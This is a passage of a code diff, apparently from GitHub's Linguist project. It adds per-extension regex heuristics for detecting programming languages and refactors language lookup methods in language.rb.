+    pattern: '^: '
+  - language: Fortran
+    named_pattern: fortran
+- extensions: ['.fr']
+  rules:
+  - language: Forth
+    pattern: '^(: |also |new-device|previous )'
+  - language: Frege
+    pattern: '^\s*(import|module|package|data|type) '
+  - language: Text
+- extensions: ['.frm']
+  rules:
+  - language: VBA
+    and:
+    - named_pattern: vb-form
+    - pattern: '^\s*Begin\s+\{[0-9A-Z\-]*\}\s?'
+  - language: Visual Basic 6.0
+    and:
+    - named_pattern: vb-form
+    - pattern: '^\s*Begin\s+VB\.Form\s+'
+- extensions: ['.fs']
+  rules:
+  - language: Forth
+    pattern: '^(: |new-device)'
+  - language: 'F#'
+    pattern: '^\s*(#light|import|let|module|namespace|open|type)'
+  - language: GLSL
+    pattern: '^\s*(#version|precision|uniform|varying|vec[234])'
+  - language: Filterscript
+    pattern: '#include|#pragma\s+(rs|version)|__attribute__'
+- extensions: ['.ftl']
+  rules:
+  - language: FreeMarker
+    pattern: '^(?:<|[a-zA-Z-][a-zA-Z0-9_-]+[ \t]+\w)|\$\{\w+[^\r\n]*?\}|^[ \t]*(?:<#--.*?-->|<#([a-z]+)(?=\s|>)[^>]*>.*?</#\1>|\[#--.*?--\]|\[#([a-z]+)(?=\s|\])[^\]]*\].*?\[#\2\])'
+  - language: Fluent
+    pattern: '^-?[a-zA-Z][a-zA-Z0-9_-]* *=|\{\$-?[a-zA-Z][-\w]*(?:\.[a-zA-Z][-\w]*)?\}'
+- extensions: ['.g']
+  rules:
+  - language: GAP
+    pattern: '\s*(Declare|BindGlobal|KeyDependentOperation|Install(Method|GlobalFunction)|SetPackageInfo)'
+  - language: G-code
+    pattern: '^[MG][0-9]+(?:\r?\n|\r)'
+- extensions: ['.gd']
+  rules:
+  - language: GAP
+    pattern: '\s*(Declare|BindGlobal|KeyDependentOperation)'
+  - language: GDScript
+    pattern: '\s*(extends|var|const|enum|func|class|signal|tool|yield|assert|onready)'
+- extensions: ['.gml']
+  rules:
+  - language: XML
+    pattern: '(?i:^\s*(<\?xml|xmlns))'
+  - language: Graph Modeling Language
+    pattern: '(?i:^\s*(graph|node)\s+\[$)'
+  - language: Gerber Image
+    pattern: '^[DGMT][0-9]{2}\*$'
+  - language: Game Maker Language
+- extensions: ['.gs']
+  rules:
+  - language: GLSL
+    pattern: '^#version\s+[0-9]+\b'
+  - language: Gosu
+    pattern: '^uses (java|gw)\.'
+  - language: Genie
+    pattern: '^\[indent=[0-9]+\]'
+- extensions: ['.gsc']
+  rules:
+  - language: GSC
+    named_pattern: gsc
+- extensions: ['.gsh']
+  rules:
+  - language: GSC
+    named_pattern: gsc
+- extensions: ['.gts']
+  rules:
+  - language: Gerber Image
+    pattern: '^G0.'
+  - language: Glimmer TS
+    negative_pattern: '^G0.'
+- extensions: ['.h']
+  rules:
+  - language: Objective-C
+    named_pattern: objectivec
+  - language: C++
+    named_pattern: cpp
+  - language: C
+- extensions: ['.hh']
+  rules:
+  - language: Hack
+    pattern: '<\?hh'
+- extensions: ['.html']
+  rules:
+  - language: Ecmarkup
+    pattern: '<emu-(?:alg|annex|biblio|clause|eqn|example|figure|gann|gmod|gprose|grammar|intro|not-ref|note|nt|prodref|production|rhs|table|t|xref)(?:$|\s|>)'
+  - language: HTML
+- extensions: ['.i']
+  rules:
+  - language: Motorola 68K Assembly
+    named_pattern: m68k
+  - language: SWIG
+    pattern: '^[ \t]*%[a-z_]+\b|^%[{}]$'
+- extensions: ['.ice']
+  rules:
+  - language: JSON
+    named_pattern: json
+  - language: Slice
+- extensions: ['.inc']
+  rules:
+  - language: Motorola 68K Assembly
+    named_pattern: m68k
+  - language: PHP
+    pattern: '^<\?(?:php)?'
+  - language: SourcePawn
+    pattern:
+    - '^public\s+(?:SharedPlugin(?:\s+|:)__pl_\w+\s*=(?:\s*\{)?|(?:void\s+)?__pl_\w+_SetNTVOptional\(\)(?:\s*\{)?)'
+    - '^methodmap\s+\w+\s+<\s+\w+'
+    - '^\s*MarkNativeAsOptional\s*\('
+  - language: NASL
+    pattern:
+    - '^\s*include\s*\(\s*(?:"|'')[\\/\w\-\.:\s]+\.(?:nasl|inc)\s*(?:"|'')\s*\)\s*;'
+    - '^\s*(?:global|local)_var\s+(?:\w+(?:\s*=\s*[\w\-"'']+)?\s*)(?:,\s*\w+(?:\s*=\s*[\w\-"'']+)?\s*)*+\s*;'
+    - '^\s*namespace\s+\w+\s*\{'
+    - '^\s*object\s+\w+\s*(?:extends\s+\w+(?:::\w+)?)?\s*\{'
+    - '^\s*(?:public\s+|private\s+|\s*)function\s+\w+\s*\([\w\s,]*\)\s*\{'
+  - language: POV-Ray SDL
+    pattern: '^\s*#(declare|local|macro|while)\s'
+  - language: Pascal
+    pattern:
+    - '(?i:^\s*\{\$(?:mode|ifdef|undef|define)[ ]+[a-z0-9_]+\})'
+    - '^\s*end[.;]\s*$'
+  - language: BitBake
+    pattern: '^inherit(\s+[\w.-]+)+\s*$'
+- extensions: ['.json']
+  rules:
+  - language: OASv2-json
+    pattern: '"swagger":\s?"2.[0-9.]+"'
+  - language: OASv3-json
+    pattern: '"openapi":\s?"3.[0-9.]+"'
+  - language: JSON
+- extensions: ['.l']
+  rules:
+  - language: Common Lisp
+    pattern: '\(def(un|macro)\s'
+  - language: Lex
+    pattern: '^(%[%{}]xs|<.*>)'
+  - language: Roff
+    pattern: '^\.[A-Za-z]{2}(\s|$)'
+  - language: PicoLisp
+    pattern: '^\((de|class|rel|code|data|must)\s'
+- extensions: ['.lean']
+  rules:
+  - language: Lean
+    pattern: '^import [a-z]'
+  - language: Lean 4
+    pattern: '^import [A-Z]'
+- extensions: ['.ls']
+  rules:
+  - language: LoomScript
+    pattern: '^\s*package\s*[\w\.\/\*\s]*\s*\{'
+  - language: LiveScript
+- extensions: ['.lsp', '.lisp']
+  rules:
+  - language: Common Lisp
+    pattern: '^\s*\((?i:defun|in-package|defpackage) '
+  - language: NewLisp
+    pattern: '^\s*\(define '
+- extensions: ['.m']
+  rules:
+  - language: Objective-C
+    named_pattern: objectivec
+  - language: Mercury
+    pattern: ':- module'
+  - language: MUF
+    pattern: '^: '
+  - language: M
+    pattern: '^\s*;'
+  - language: Mathematica
+    and:
+      - pattern: '\(\*'
+      - pattern: '\*\)$'
+  - language: MATLAB
+    pattern: '^\s*%'
+  - language: Limbo
+    pattern: '^\w+\s*:\s*module\s*\{'
+- extensions: ['.m4']
+  rules:
+  - language: M4Sugar
+    pattern:
+    - 'AC_DEFUN|AC_PREREQ|AC_INIT'
+    - '^_?m4_'
+  - language: 'M4'
+- extensions: ['.mask']
+  rules:
+  - language: Unity3D Asset
+    pattern: 'tag:unity3d.com'
+- extensions: ['.mc']
+  rules:
+  - language: Win32 Message File
+    pattern: '(?i)^[ \t]*(?>\/\*\s*)?MessageId=|^\.$'
+  - language: M4
+    pattern: '^dnl|^divert\((?:-?\d+)?\)|^\w+\(`[^\r\n]*?''[),]'
+  - language: Monkey C
+    pattern: '\b(?:using|module|function|class|var)\s+\w'
+- extensions: ['.md']
+  rules:
+  - language: Markdown
+    pattern:
+    - '(^[-A-Za-z0-9=#!\*\[|>])|<\/'
+    - '\A\z'
+  - language: GCC Machine Description
+    pattern: '^(;;|\(define_)'
+  - language: Markdown
+- extensions: ['.ml']
+  rules:
+  - language: OCaml
+    pattern: '(^\s*module)|let rec |match\s+(\S+\s)+with'
+  - language: Standard ML
+    pattern: '=> |case\s+(\S+\s)+of'
+- extensions: ['.mod']
+  rules:
+  - language: XML
+    pattern: '<!ENTITY '
+  - language: NMODL
+    pattern: '\b(NEURON|INITIAL|UNITS)\b'
+  - language: Modula-2
+    pattern: '^\s*(?i:MODULE|END) [\w\.]+;'
+  - language: [Linux Kernel Module, AMPL]
+- extensions: ['.mojo']
+  rules:
+  - language: Mojo
+    pattern: '^\s*(alias|def|from|fn|import|struct|trait)\s'
+  - language: XML
+    pattern: '^\s*<\?xml'
+- extensions: ['.ms']
+  rules:
+  - language: Roff
+    pattern: '^[.''][A-Za-z]{2}(\s|$)'
+  - language: Unix Assembly
+    and:
+      - negative_pattern: '/\*'
+      - pattern: '^\s*\.(?:include\s|globa?l\s|[A-Za-z][_A-Za-z0-9]*:)'
+  - language: MAXScript
+- extensions: ['.n']
+  rules:
+  - language: Roff
+    pattern: '^[.'']'
+  - language: Nemerle
+    pattern: '^(module|namespace|using)\s'
+- extensions: ['.ncl']
+  rules:
+  - language: XML
+    pattern: '^\s*<\?xml\s+version'
+  - language: Gerber Image
+    pattern: '^[DGMT][0-9]{2}\*(?:\r?\n|\r)'
+  - language: Text
+    pattern: 'THE_TITLE'
+- extensions: ['.nl']
+  rules:
+  - language: NL
+    pattern: '^(b|g)[0-9]+ '
+  - language: NewLisp
+- extensions: ['.nr']
+  rules:
+  - language: Roff
+    pattern: '^\.'
+  - language: Noir
+- extensions: ['.nu']
+  rules:
+  - language: Nushell
+    pattern: '^\s*(import|export|module|def|let|let-env) '
+  - language: Nu
+- extensions: ['.odin']
+  rules:
+  - language: Object Data Instance Notation
+    pattern: '(?:^|<)\s*[A-Za-z0-9_]+\s*=\s*<'
+  - language: Odin
+    pattern: 'package\s+\w+|\b(?:im|ex)port\s*"[\w:./]+"|\w+\s*::\s*(?:proc|struct)\s*\(|^\s*//\s'
+- extensions: ['.p']
+  rules:
+  - language: Gnuplot
+    pattern:
+    - '^s?plot\b'
+    - '^set\s+(term|terminal|out|output|[xy]tics|[xy]label|[xy]range|style)\b'
+  - language: OpenEdge ABL
+- extensions: ['.php']
+  rules:
+  - language: Hack
+    pattern: '<\?hh'
+  - language: PHP
+    pattern: '<\?[^h]'
+- extensions: ['.pkl']
+  rules:
+    - language: Pkl
+      pattern:
+      - '^\s*(module|import|amends|extends|local|const|fixed|abstract|open|class|typealias|@\w+)\b'
+      - '^\s*[a-zA-Z0-9_$]+\s*(=|{|:)|^\s*`[^`]+`\s*(=|{|:)|for\s*\(|when\s*\('
+    - language: Pickle
+- extensions: ['.pl']
+  rules:
+  - language: Prolog
+    pattern: '^[^#]*:-'
+  - language: Perl
+    and:
+      - negative_pattern: '^\s*use\s+v6\b'
+      - named_pattern: perl
+  - language: Raku
+    named_pattern: raku
+- extensions: ['.plist']
+  rules:
+  - language: XML Property List
+    pattern: '^\s*(?:<\?xml\s|<!DOCTYPE\s+plist|<plist(?:\s+version\s*=\s*["'']\d+(?:\.\d+)?["''])?\s*>\s*$)'
+  - language: OpenStep Property List
+- extensions: ['.plt']
+  rules:
+  - language: Prolog
+    pattern: '^\s*:-'
+- extensions: ['.pm']
+  rules:
+  - language: Perl
+    and:
+      - negative_pattern: '^\s*use\s+v6\b'
+      - named_pattern: perl
+  - language: Raku
+    named_pattern: raku
+  - language: X PixMap
+    pattern: '^\s*\/\* XPM \*\/'
+- extensions: ['.pod']
+  rules:
+  - language: Pod 6
+    pattern: '^[\s&&[^\r\n]]*=(comment|begin pod|begin para|item\d+)'
+  - language: Pod
+- extensions: ['.pp']
+  rules:
+  - language: Pascal
+    pattern: '^\s*end[.;]'
+  - language: Puppet
+    pattern: '^\s+\w+\s+=>\s'
+- extensions: ['.pro']
+  rules:
+  - language: Proguard
+    pattern: '^-(include\b.*\.pro$|keep\b|keepclassmembers\b|keepattributes\b)'
+  - language: Prolog
+    pattern: '^[^\[#]+:-'
+  - language: INI
+    pattern: 'last_client='
+  - language: QMake
+    and:
+    - pattern: HEADERS
+    - pattern: SOURCES
+  - language: IDL
+    pattern: '^\s*(?i:function|pro|compile_opt) \w[ \w,:]*$'
+- extensions: ['.properties']
+  rules:
+  - language: INI
+    and:
+    - named_pattern: key_equals_value
+    - pattern: '^[;\[]'
+  - language: Java Properties
+    and:
+    - named_pattern: key_equals_value
+    - pattern: '^[#!]'
+  - language: INI
+    named_pattern: key_equals_value
+  - language: Java Properties
+    pattern: '^[^#!][^:]*:'
+- extensions: ['.q']
+  rules:
+  - language: q
+    pattern: '((?i:[A-Z.][\w.]*:\{)|^\\(cd?|d|l|p|ts?) )'
+  - language: HiveQL
+    pattern: '(?i:SELECT\s+[\w*,]+\s+FROM|(CREATE|ALTER|DROP)\s(DATABASE|SCHEMA|TABLE))'
+- extensions: ['.qs']
+  rules:
+  - language: Q#
+    pattern: '^((\/{2,3})?\s*(namespace|operation)\b)'
+  - language: Qt Script
+    pattern: '(\w+\.prototype\.\w+|===|\bvar\b)'
+- extensions: ['.r']
+  rules:
+  - language: Rebol
+    pattern: '(?i:\bRebol\b)'
+  - language: Rez
+    pattern: '(#include\s+["<](Types\.r|Carbon\/Carbon\.r)[">])|((resource|data|type)\s+''[A-Za-z0-9]{4}''\s+((\(.*\)\s+){0,1}){)'
+  - language: R
+    pattern: '<-|^\s*#'
+- extensions: ['.re']
+  rules:
+  - language: Reason
+    pattern:
+    - '^\s*module\s+type\s'
+    - '^\s*(?:include|open)\s+\w+\s*;\s*$'
+    - '^\s*let\s+(?:module\s\w+\s*=\s*\{|\w+:\s+.*=.*;\s*$)'
+  - language: C++
+    pattern:
+    - '^\s*#(?:(?:if|ifdef|define|pragma)\s+\w|\s*include\s+<[^>]+>)'
+    - '^\s*template\s*<'
+- extensions: ['.res']
+  rules:
+  - language: ReScript
+    pattern:
+    - '^\s*(let|module|type)\s+\w*\s+=\s+'
+    - '^\s*(?:include|open)\s+\w+\s*$'
+- extensions: ['.resource']
+  rules:
+  - language: RobotFramework
+    pattern:
+    - '^\*{3} (Settings|Variables|Keywords) \*{3}$'
+- extensions: ['.rno']
+  rules:
+  - language: RUNOFF
+    pattern: '(?i:^\.!|^\f|\f$|^\.end lit(?:eral)?\b|^\.[a-zA-Z].*?;\.[a-zA-Z](?:[; \t])|\^\*[^\s*][^*]*\\\*(?=$|\s)|^\.c;[ \t]*\w+)'
+  - language: Roff
+    pattern: '^\.\\" '
+- extensions: ['.rpy']
+  rules:
+  - language: Python
+    pattern: '^(import|from|class|def)\s'
+  - language: "Ren'Py"
+- extensions: ['.rs']
+  rules:
+  - language: Rust
+    pattern: '^(use |fn |mod |pub |macro_rules|impl|#!?\[)'
+  - language: RenderScript
+    pattern: '#include|#pragma\s+(rs|version)|__attribute__'
+  - language: XML
+    pattern: '^\s*<\?xml'
+- extensions: ['.s']
+  rules:
+  - language: Motorola 68K Assembly
+    named_pattern: m68k
+- extensions: ['.sc']
+  rules:
+  - language: SuperCollider
+    pattern: '(?i:\^(this|super)\.|^\s*~\w+\s*=\.)'
+  - language: Scala
+    pattern: '(^\s*import (scala|java)\.|^\s*class\b)'
+- extensions: ['.scd']
+  rules:
+  - language: SuperCollider
+    pattern: '(?i:\^(this|super)\.|^\s*(~\w+\s*=\.|SynthDef\b))'
+  - language: Markdown
+    # Markdown syntax for scdoc
+    pattern: '^#+\s+(NAME|SYNOPSIS|DESCRIPTION)'
+- extensions: ['.sol']
+  rules:
+  - language: Solidity
+    pattern: '\bpragma\s+solidity\b|\b(?:abstract\s+)?contract\s+(?!\d)[a-zA-Z0-9$_]+(?:\s+is\s+(?:[a-zA-Z0-9$_][^\{]*?)?)?\s*\{'
+  - language: Gerber Image
+    pattern: '^[DGMT][0-9]{2}\*(?:\r?\n|\r)'
+- extensions: ['.sql']
+  rules:
+   # Postgres
+  - language: PLpgSQL
+    pattern: '(?i:^\\i\b|AS\s+\$\$|LANGUAGE\s+''?plpgsql''?|BEGIN(\s+WORK)?\s*;)'
+  # IBM db2
+  - language: SQLPL
+    pattern: '(?i:ALTER\s+MODULE|MODE\s+DB2SQL|\bSYS(CAT|PROC)\.|ASSOCIATE\s+RESULT\s+SET|\bEND!\s*$)'
+  # Oracle
+  - language: PLSQL
+    pattern: '(?i:\$\$PLSQL_|XMLTYPE|systimestamp|\.nextval|CONNECT\s+BY|AUTHID\s+(DEFINER|CURRENT_USER)|constructor\W+function)'
+  # T-SQL
+  - language: TSQL
+    pattern: '(?i:^\s*GO\b|BEGIN(\s+TRY|\s+CATCH)|OUTPUT\s+INSERTED|DECLARE\s+@|\[dbo\])'
+  - language: SQL
+- extensions: ['.srt']
+  rules:
+  - language: SubRip Text
+    pattern: '^(\d{2}:\d{2}:\d{2},\d{3})\s*(-->)\s*(\d{2}:\d{2}:\d{2},\d{3})$'
+- extensions: ['.st']
+  rules:
+  - language: StringTemplate
+    pattern: '\$\w+[($]|(.)!\s*.+?\s*!\1|<!\s*.+?\s*!>|\[!\s*.+?\s*!\]|\{!\s*.+?\s*!\}'
+  - language: Smalltalk
+    pattern: '\A\s*[\[{(^"''\w#]|[a-zA-Z_]\w*\s*:=\s*[a-zA-Z_]\w*|class\s*>>\s*[a-zA-Z_]\w*|^[a-zA-Z_]\w*\s+[a-zA-Z_]\w*:|^Class\s*\{|if(?:True|False):\s*\['
+- extensions: ['.star']
+  rules:
+  - language: STAR
+    pattern: '^loop_\s*$'
+  - language: Starlark
+- extensions: ['.stl']
+  rules:
+  - language: STL
+    pattern: '\A\s*solid(?:$|\s)[\s\S]*^endsolid(?:$|\s)'
+- extensions: ['.sw']
+  rules:
+  - language: Sway
+    pattern: '^\s*(?:(?:abi|dep|fn|impl|mod|pub|trait)\s|#\[)'
+  - language: XML
+    pattern: '^\s*<\?xml\s+version'
+- extensions: ['.t']
+  rules:
+  - language: Perl
+    and:
+      - negative_pattern: '^\s*use\s+v6\b'
+      - named_pattern: perl
+  - language: Raku
+    pattern: '^\s*(?:use\s+v6\b|\bmodule\b|\bmy\s+class\b)'
+  - language: Turing
+    pattern: '^\s*%[ \t]+|^\s*var\s+\w+(\s*:\s*\w+)?\s*:=\s*\w+'
+- extensions: ['.tag']
+  rules:
+  - language: Java Server Pages
+    pattern: '<%[@!=\s]?\s*(taglib|tag|include|attribute|variable)\s'
+- extensions: ['.tlv']
+  rules:
+  - language: TL-Verilog
+    pattern: '^\\.{0,10}TLV_version'
+- extensions: ['.toc']
+  rules:
+  - language: World of Warcraft Addon Data
+    pattern: '^## |@no-lib-strip@'
+  - language: TeX
+    pattern: '^\\(contentsline|defcounter|beamer|boolfalse)'
+- extensions: ['.ts']
+  rules:
+  - language: XML
+    pattern: '<TS\b'
+  - language: TypeScript
+- extensions: ['.tst']
+  rules:
+  - language: GAP
+    pattern: 'gap> '
+  # Heads up - we don't usually write heuristics like this (with no regex match)
+  - language: Scilab
+- extensions: ['.tsx']
+  rules:
+  - language: TSX
+    pattern: '^\s*(import.+(from\s+|require\()[''"]react|\/\/\/\s*<reference\s)'
+  - language: XML
+    pattern: '(?i:^\s*<\?xml\s+version)'
+- extensions: ['.txt']
+  rules:
+    # The following RegExp is simply a collapsed and simplified form of the
+    # VIM_MODELINE pattern in `./lib/linguist/strategy/modeline.rb`.
+  - language: Vim Help File
+    pattern: '(?:(?:^|[ \t])(?:vi|Vi(?=m))(?:m[<=>]?[0-9]+|m)?|[ \t]ex)(?=:(?=[ \t]*set?[ \t][^\r\n:]+:)|:(?![ \t]*set?[ \t]))(?:(?:[ \t]*:[ \t]*|[ \t])\w*(?:[ \t]*=(?:[^\\\s]|\\.)*)?)*[ \t:](?:filetype|ft|syntax)[ \t]*=(help)(?=$|\s|:)'
+  - language: Hosts File
+    pattern: |-
+      (?xi) ^
+
+      # IPv4 address
+      (?<ipv4>
+        (?!\.)
+        (?:\.?
+          (?: 25[0-5]  # 250-255
+          |   2[0-4]\d # 200-249
+          |   1\d\d    # 100-199
+          |   [1-9]?\d # 0-99
+          )\b
+      ){4})
+
+      # CIDR notation: /[0-32]
+      (?<cidr>/(3[0-2]|[12]?\d)\b)?
+
+      # Domains list
+      (?<domains>
+        [ \t]+
+        \w[-\w]* (?:\.\w[-\w]*)*
+        (?<!-)\b
+      )*+
+
+      (?=$|\s)
+  - language: Adblock Filter List
+    pattern: |-
+      (?x)\A
+      \[
+      (?<version>
+        (?:
+          [Aa]d[Bb]lock
+          (?:[ \t][Pp]lus)?
+          |
+          u[Bb]lock
+          (?:[ \t][Oo]rigin)?
+          |
+          [Aa]d[Gg]uard
+        )
+        (?:[ \t] \d+(?:\.\d+)*+)?
+      )
+      (?:
+        [ \t]?;[ \t]?
+        \g<version>
+      )*+
+      \]
+    # HACK: This is a contrived use of heuristics needed to address
+    # an unusual edge-case. See https://git.io/JULye for discussion.
+  - language: Text
+- extensions: ['.typ']
+  rules:
+  - language: Typst
+    pattern: '^#(import|show|let|set)'
+  - language: XML
+- extensions: ['.url']
+  rules:
+  - language: INI
+    pattern: '^\[InternetShortcut\](?:\r?\n|\r)(?>[^\s\[][^\r\n]*(?:\r?\n|\r))*URL='
+- extensions: ['.v']
+  rules:
+  - language: Coq
+    pattern: '(?:^|\s)(?:Proof|Qed)\.(?:$|\s)|(?:^|\s)Require[ \t]+(Import|Export)\s'
+  - language: Verilog
+    pattern: '^[ \t]*module\s+[^\s()]+\s+\#?\(|^[ \t]*`(?:define|ifdef|ifndef|include|timescale)|^[ \t]*always[ \t]+@|^[ \t]*initial[ \t]+(begin|@)'
+  - language: V
+    pattern: '\$(?:if|else)[ \t]|^[ \t]*fn\s+[^\s()]+\(.*?\).*?\{|^[ \t]*for\s*\{'
+- extensions: ['.vba']
+  rules:
+  - language: Vim Script
+    pattern: '^UseVimball'
+  - language: VBA
+- extensions: ['.vcf']
+  rules:
+  - language: TSV
+    pattern: '\A##fileformat=VCF'
+  - language: vCard
+    pattern: '\ABEGIN:VCARD'
+- extensions: ['.w']
+  rules:
+  - language: OpenEdge ABL
+    pattern: '&ANALYZE-SUSPEND _UIB-CODE-BLOCK _CUSTOM _DEFINITIONS'
+  - language: CWeb
+    pattern: '^@(<|\w+\.)'
+- extensions: ['.x']
+  rules:
+  - language: DirectX 3D File
+    pattern:  '^xof 030(2|3)(?:txt|bin|tzip|bzip)\b'
+  - language: RPC
+    pattern: '\b(program|version)\s+\w+\s*\{|\bunion\s+\w+\s+switch\s*\('
+  - language: Logos
+    pattern: '^%(end|ctor|hook|group)\b'
+  - language: Linker Script
+    pattern: 'OUTPUT_ARCH\(|OUTPUT_FORMAT\(|SECTIONS'
+- extensions: ['.yaml', '.yml']
+  rules:
+  - language: MiniYAML
+    pattern: '^\t+.*?[^\s:].*?:'
+    negative_pattern: '---'
+  - language: OASv2-yaml
+    pattern: 'swagger:\s?''?"?2.[0-9.]+''?"?'
+  - language: OASv3-yaml
+    pattern: 'openapi:\s?''?"?3.[0-9.]+''?"?'
+  - language: YAML
+- extensions: ['.yy']
+  rules:
+  - language: JSON
+    named_pattern: json
+  - language: Yacc
+named_patterns:
+  cpp:
+  - '^\s*#\s*include <(cstdint|string|vector|map|list|array|bitset|queue|stack|forward_list|unordered_map|unordered_set|(i|o|io)stream)>'
+  - '^\s*template\s*<'
+  - '^[ \t]*(try|constexpr)'
+  - '^[ \t]*catch\s*\('
+  - '^[ \t]*(class|(using[ \t]+)?namespace)\s+\w+'
+  - '^[ \t]*(private|public|protected):$'
+  - '__has_cpp_attribute|__cplusplus >'
+  - 'std::\w+'
+  euphoria:
+  - '^\s*namespace\s'
+  - '^\s*(?:public\s+)?include\s'
+  - '^\s*(?:(?:public|export|global)\s+)?(?:atom|constant|enum|function|integer|object|procedure|sequence|type)\s'
+  fortran: '^(?i:[c*][^abd-z]|      (subroutine|program|end|data)\s|\s*!)'
+  gsc:
+  - '^\s*#\s*(?:using|insert|include|define|namespace)[ \t]+\w'
+  - '^\s*(?>(?:autoexec|private)\s+){0,2}function\s+(?>(?:autoexec|private)\s+){0,2}\w+\s*\('
+  - '\b(?:level|self)[ \t]+thread[ \t]+(?:\[\[[ \t]*(?>\w+\.)*\w+[ \t]*\]\]|\w+)[ \t]*\([^\r\n\)]*\)[ \t]*;'
+  - '^[ \t]*#[ \t]*(?:precache|using_animtree)[ \t]*\('
+  json: '\A\s*[{\[]'
+  key_equals_value: '^[^#!;][^=]*='
+  m68k:
+  - '(?im)\bmoveq(?:\.l)?\s+#(?:\$-?[0-9a-f]{1,3}|%[0-1]{1,8}|-?[0-9]{1,3}),\s*d[0-7]\b'
+  - '(?im)^\s*move(?:\.[bwl])?\s+(?:sr|usp),\s*[^\s]+'
+  - '(?im)^\s*move\.[bwl]\s+.*\b[ad]\d'
+  - '(?im)^\s*movem\.[bwl]\b'
+  - '(?im)^\s*move[mp](?:\.[wl])?\b'
+  - '(?im)^\s*btst\b'
+  - '(?im)^\s*dbra\b'
+  man-heading:  '^[.''][ \t]*SH +(?:[^"\s]+|"[^"\s]+)'
+  man-title:    '^[.''][ \t]*TH +(?:[^"\s]+|"[^"]+") +"?(?:[1-9]|@[^\s@]+@)'
+  mdoc-date:    '^[.''][ \t]*Dd +(?:[^"\s]+|"[^"]+")'
+  mdoc-heading: '^[.''][ \t]*Sh +(?:[^"\s]|"[^"]+")'
+  mdoc-title:   '^[.''][ \t]*Dt +(?:[^"\s]+|"[^"]+") +"?(?:[1-9]|@[^\s@]+@)'
+  objectivec: '^\s*(@(interface|class|protocol|property|end|synchronised|selector|implementation)\b|#import\s+.+\.h[">])'
+  perl:
+  - '\buse\s+(?:strict\b|v?5\b)'
+  - '^\s*use\s+(?:constant|overload)\b'
+  - '^\s*(?:\*|(?:our\s*)?@)EXPORT\s*='
+  - '^\s*package\s+[^\W\d]\w*(?:::\w+)*\s*(?:[;{]|\sv?\d)'
+  - '[\s$][^\W\d]\w*(?::\w+)*->[a-zA-Z_\[({]'
+  raku: '^\s*(?:use\s+v6\b|\bmodule\b|\b(?:my\s+)?class\b)'
+  vb-class: '^[ ]*VERSION [0-9]\.[0-9] CLASS'
+  vb-form: '^[ ]*VERSION [0-9]\.[0-9]{2}'
+  vb-module: '^[ ]*Attribute VB_Name = '
+  vba:
+  - '\b(?:VBA|[vV]ba)(?:\b|[0-9A-Z_])'
+    # VBA7 new 64-bit features
+  - '^[ ]*(?:Public|Private)? Declare PtrSafe (?:Sub|Function)\b'
+  - '^[ ]*#If Win64\b'
+  - '^[ ]*(?:Dim|Const) [0-9a-zA-Z_]*[ ]*As Long(?:Ptr|Long)\b'
+  # Top module declarations unique to VBA
+  - '^[ ]*Option (?:Private Module|Compare (?:Database|Text|Binary))\b'
+  # General VBA libraries and objects
+  - '(?: |\()(?:Access|Excel|Outlook|PowerPoint|Visio|Word|VBIDE)\.\w'
+  - '\b(?:(?:Active)?VBProjects?|VBComponents?|Application\.(?:VBE|ScreenUpdating))\b'
+  # AutoCAD, Outlook, PowerPoint and Word objects
+  - '\b(?:ThisDrawing|AcadObject|Active(?:Explorer|Inspector|Window\.Presentation|Presentation|Document)|Selection\.(?:Find|Paragraphs))\b'
+  # Excel objects
+  - '\b(?:(?:This|Active)?Workbooks?|Worksheets?|Active(?:Sheet|Chart|Cell)|WorksheetFunction)\b'
+  - '\b(?:Range\(".*|Cells\([0-9a-zA-Z_]*, (?:[0-9a-zA-Z_]*|"[a-zA-Z]{1,3}"))\)'
diff --git a/lib/linguist/language.rb b/lib/linguist/language.rb
index 9498e5a8b0..3f38c33256 100644
--- a/lib/linguist/language.rb
+++ b/lib/linguist/language.rb
@@ -1,8 +1,9 @@
-require 'escape_utils'
+require 'cgi'
 require 'yaml'
 begin
   require 'yajl'
 rescue LoadError
+  require 'json'
 end
 
 require 'linguist/classifier'
@@ -11,6 +12,7 @@
 require 'linguist/file_blob'
 require 'linguist/blob_helper'
 require 'linguist/strategy/filename'
+require 'linguist/strategy/extension'
 require 'linguist/strategy/modeline'
 require 'linguist/shebang'
 
@@ -20,17 +22,16 @@ module Linguist
   #
   # Languages are defined in `lib/linguist/languages.yml`.
   class Language
-    @languages       = []
-    @index           = {}
-    @name_index      = {}
-    @alias_index     = {}
+    @languages          = []
+    @index              = {}
+    @name_index         = {}
+    @alias_index        = {}
+    @language_id_index  = {}
 
-    @extension_index          = Hash.new { |h,k| h[k] = [] }
-    @interpreter_index        = Hash.new { |h,k| h[k] = [] }
-    @filename_index           = Hash.new { |h,k| h[k] = [] }
+    @extension_index    = Hash.new { |h,k| h[k] = [] }
+    @interpreter_index  = Hash.new { |h,k| h[k] = [] }
+    @filename_index     = Hash.new { |h,k| h[k] = [] }
 
-    # Valid Languages types
-    TYPES = [:data, :markup, :programming, :prose]
 
     # Detect languages by a specific type
     #
@@ -84,18 +85,9 @@ def self.create(attributes = {})
         @filename_index[filename] << language
       end
 
-      language
-    end
+      @language_id_index[language.language_id] = language
 
-    # Public: Detects the Language of the blob.
-    #
-    # blob - an object that includes the Linguist `BlobHelper` interface;
-    #       see Linguist::LazyBlob and Linguist::FileBlob for examples
-    #
-    # Returns Language or nil.
-    def self.detect(blob)
-      warn "[DEPRECATED] `Linguist::Language.detect` is deprecated. Use `Linguist.detect`. #{caller[0]}"
-      Linguist.detect(blob)
+      language
     end
 
     # Public: Get all Languages
@@ -116,8 +108,8 @@ def self.all
     #
     # Returns the Language or nil if none was found.
     def self.find_by_name(name)
-      return nil if name.to_s.empty?
-      name && (@name_index[name.downcase] || @name_index[name.split(',').first.downcase])
+      return nil if !name.is_a?(String) || name.to_s.empty?
+      name && (@name_index[name.downcase] || @name_index[name.split(',', 2).first.downcase])
     end
 
     # Public: Look up Language by one of its aliases.
@@ -131,52 +123,52 @@ def self.find_by_name(name)
     #
     # Returns the Language or nil if none was found.
     def self.find_by_alias(name)
-      return nil if name.to_s.empty?
-      name && (@alias_index[name.downcase] || @alias_index[name.split(',').first.downcase])
+      return nil if !name.is_a?(String) || name.to_s.empty?
+      name && (@alias_index[name.downcase] || @alias_index[name.split(',', 2).first.downcase])
     end
 
     # Public: Look up Languages by filename.
     #
+    # The behaviour of this method recently changed.
+    # See the second example below.
+    #
     # filename - The path String.
     #
     # Examples
     #
+    #   Language.find_by_filename('Cakefile')
+    #   # => [#<Language name="CoffeeScript">]
     #   Language.find_by_filename('foo.rb')
-    #   # => [#<Language name="Ruby">]
+    #   # => []
     #
     # Returns all matching Languages or [] if none were found.
